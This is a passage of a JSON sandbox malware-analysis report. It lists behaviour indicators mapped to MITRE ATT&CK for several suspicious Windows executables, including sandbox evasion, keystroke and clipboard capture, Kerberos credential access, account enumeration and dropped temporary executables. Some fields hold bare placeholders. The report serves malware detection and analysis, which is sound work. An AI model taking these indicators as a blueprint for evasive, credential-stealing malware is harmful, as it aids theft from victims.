Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"3e79d3cef1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in file \"bounty-38813904328784694\"\n Found registry modification API: \"RegCreateKeyExA\" in file \"bounty-38813904328784694\"\n Found registry modification API: \"RegCreateKeyEx\" in file \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00004244.00000000.294654.0007D000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyEx\" in \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00004328.00000000.294363.002D0000.00000040.mdmp, 00000000-00004328.00000000.294370.00300000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"bounty-38813904328784694\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT ChassisTypes FROM Win32_SystemEnclosure\" (Source: 10439-4503-005326B0, Indicator: \"select chassistypes from win32_systemenclosure\")\n \"SELECT ChassisTypes FROM Win32_SystemEnclosure\" (Source: 00000000-00004244.00000000.294654.005C0000.00000002.mdmp, Indicator: \"select chassistypes from win32_systemenclosure\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 3e79d3cef1.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: svchost015.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: svcDD6.tmp)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExA@KERNEL32.DLL at 00000000-00004328-8512-31-00405544\n LoadLibraryA@KERNEL32.DLL at 00000000-00004328-8512-1056-0040D2D3\n LoadLibraryA@KERNEL32.DLL at 00000000-00004328-8512-1703-0042A018\n LoadLibraryA@KERNEL32.DLL at 00000000-00004328-8512-2063-0043E494\n LoadLibraryA@KERNEL32.DLL at 00000000-00004328-8512-2544-0045B224","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$50","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"MAPI32.DLL\" (Indicator: \"MAPI32.dll\"; File: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")\n Found string \"MAPI32.DLL\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00004328.00000000.294363.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: svchost015.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"bounty-38813904328784694.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"bounty-38813904328784694.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"3e79d3cef1.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"3e79d3cef1.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"CONNECT %s:%d HTTP/1.1Host: %s:%dDate: %sProxy-Connection: keep-aliveUser-Agent: %sContent-Length: 0\" (Indicator: \"user-agent: \"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found string \"User-Agent: %s\" (Indicator: \"user-agent: \"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"15001600b09e586b@ADVAPI32.dll\"\n \"0e000f00609f586b@ADVAPI32.dll\"\n \"0e000f00bc9f586b@ADVAPI32.dll\"\n \"11001200e0a7586b@ADVAPI32.dll\"\n \"1100120074a8586b@ADVAPI32.dll\"\n \"12001300b8a8586b@ADVAPI32.dll\"\n \"1200130010a9586b@ADVAPI32.dll\"\n \"1400150060d7586b@ADVAPI32.dll\"\n \"1400150078d7586b@ADVAPI32.dll\"\n \"1400150090d7586b@ADVAPI32.dll\"\n \"17001800a8d7586b@ADVAPI32.dll\"\n \"0d000e00c0d7586b@ADVAPI32.dll\"\n \"11001200d0d7586b@ADVAPI32.dll\"\n \"11001200e4d7586b@ADVAPI32.dll\"\n \"0d000e0050c7586b@WININET.dll\"\n \"0d000e00c0c7586b@WININET.dll\"\n \"10001100f8c7586b@WININET.dll\"\n \"100011009cc8586b@WININET.dll\"\n \"1000110028d8586b@WININET.dll\"\n \"100011003cd8586b@WININET.dll\"\n \"1400150050d8586b@WININET.dll\"\n \"1400150068d8586b@WININET.dll\"\n \"1200130080d8586b@WININET.dll\"\n \"1200130094d8586b@WININET.dll\"\n \"10001100dcc8586b@WININET.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT ChassisTypes FROM Win32_SystemEnclosure\" (Source: 10439-4503-005326B0, Indicator: \"select chassistypes from win32_systemenclosure\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00003004-00000C2A-3592167041]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"bounty-38813904328784694.exe\" connecting to \"\\ThemeApiPort\"\n \"3e79d3cef1.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"svcDD6.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 5 sections\" - Location: [%TEMP%\\svcDD6.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"$51","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"bounty-38813904328784694.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003004)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetGetAnyDCName\" (Indicator: \"NetGetAnyDCName\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetUserGetGroups\" (Indicator: \"NetUserGetGroups\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetUserGetLocalGroups\" (Indicator: \"NetUserGetLocalGroups\"; File: \"bounty-38813904328784694\")\n Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"NetUserGetLocalGroups\" (Indicator: \"NetUserGetLocalGroups\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"NetUserGetGroups\" (Indicator: \"NetUserGetGroups\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"NetGetAnyDCName\" (Indicator: \"NetGetAnyDCName\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00004244.00000000.294654.0007D000.00000002.mdmp\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00004328.00000000.294363.002D0000.00000040.mdmp, 00000000-00004328.00000000.294370.00300000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$54","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetGetAnyDCName\" which can \"return the name of any domain controller (DC) for a domain that is directly trusted by the specified server.\" [Source: svchost015.exe]\n Observed import api \"NetUserGetGroups\" which can \"retrieve a list of global groups to which a specified user belongs.\" [Source: svchost015.exe]\n Observed import api \"NetUserGetInfo\" which can \"retrieve information about a particular user account on a server.\" [Source: svchost015.exe]\n Observed import api \"NetUserGetLocalGroups\" which can \"retrieve a list of local groups to which a specified user belongs.\" [Source: svchost015.exe]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://www.realvnc.com.\"\n Found HTTPS url \"https://www.realvnc.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003004.00000000.293323.00350000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE29538FA896F04658BE0A2CB8E205]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003004.00000000.293323.00350000.00000004.mdmp\")\n Found string \"ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003004.00000001.295249.003C7000.00000004.mdmp, 00000000-00003004.00000002.297169.003C7000.00000004.mdmp\")\n Found string \"I+ncalrpc:[OLE0CD543EFF10F45D4BEB8FB7E2F35]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003004.00000001.295249.003C7000.00000004.mdmp, 00000000-00003004.00000002.297169.003C7000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEDD92FAE84E244D4CBD7CA47234BB]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003004.00000001.295249.003F1000.00000004.mdmp, 00000000-00003004.00000002.297169.003F1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$55","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"bounty-38813904328784694\")\n Found string \"GetClipboardData\" (Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"bounty-38813904328784694.exe\" tries to directly access volume data \"C:\"\n \"bounty-38813904328784694.exe\" tries to directly access volume data \"Z:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$57","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"bounty-38813904328784694\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: 3e79d3cef1.exe)\n Found GetCursorPos() in an import section (Source: svchost015.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"bounty-38813904328784694\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004328.00000000.294363.00460000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"00000000-00004244.00000000.294654.003E1000.00000020.mdmp\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00004244.00000000.294654.005C0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve state data for the computer (API string)","description":"Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; File: \"bounty-38813904328784694\")\n Found reference to API \"DsRoleGetPrimaryDomainInformation\" (Indicator: \"DsRoleGetPrimaryDomainInformation\"; Source: 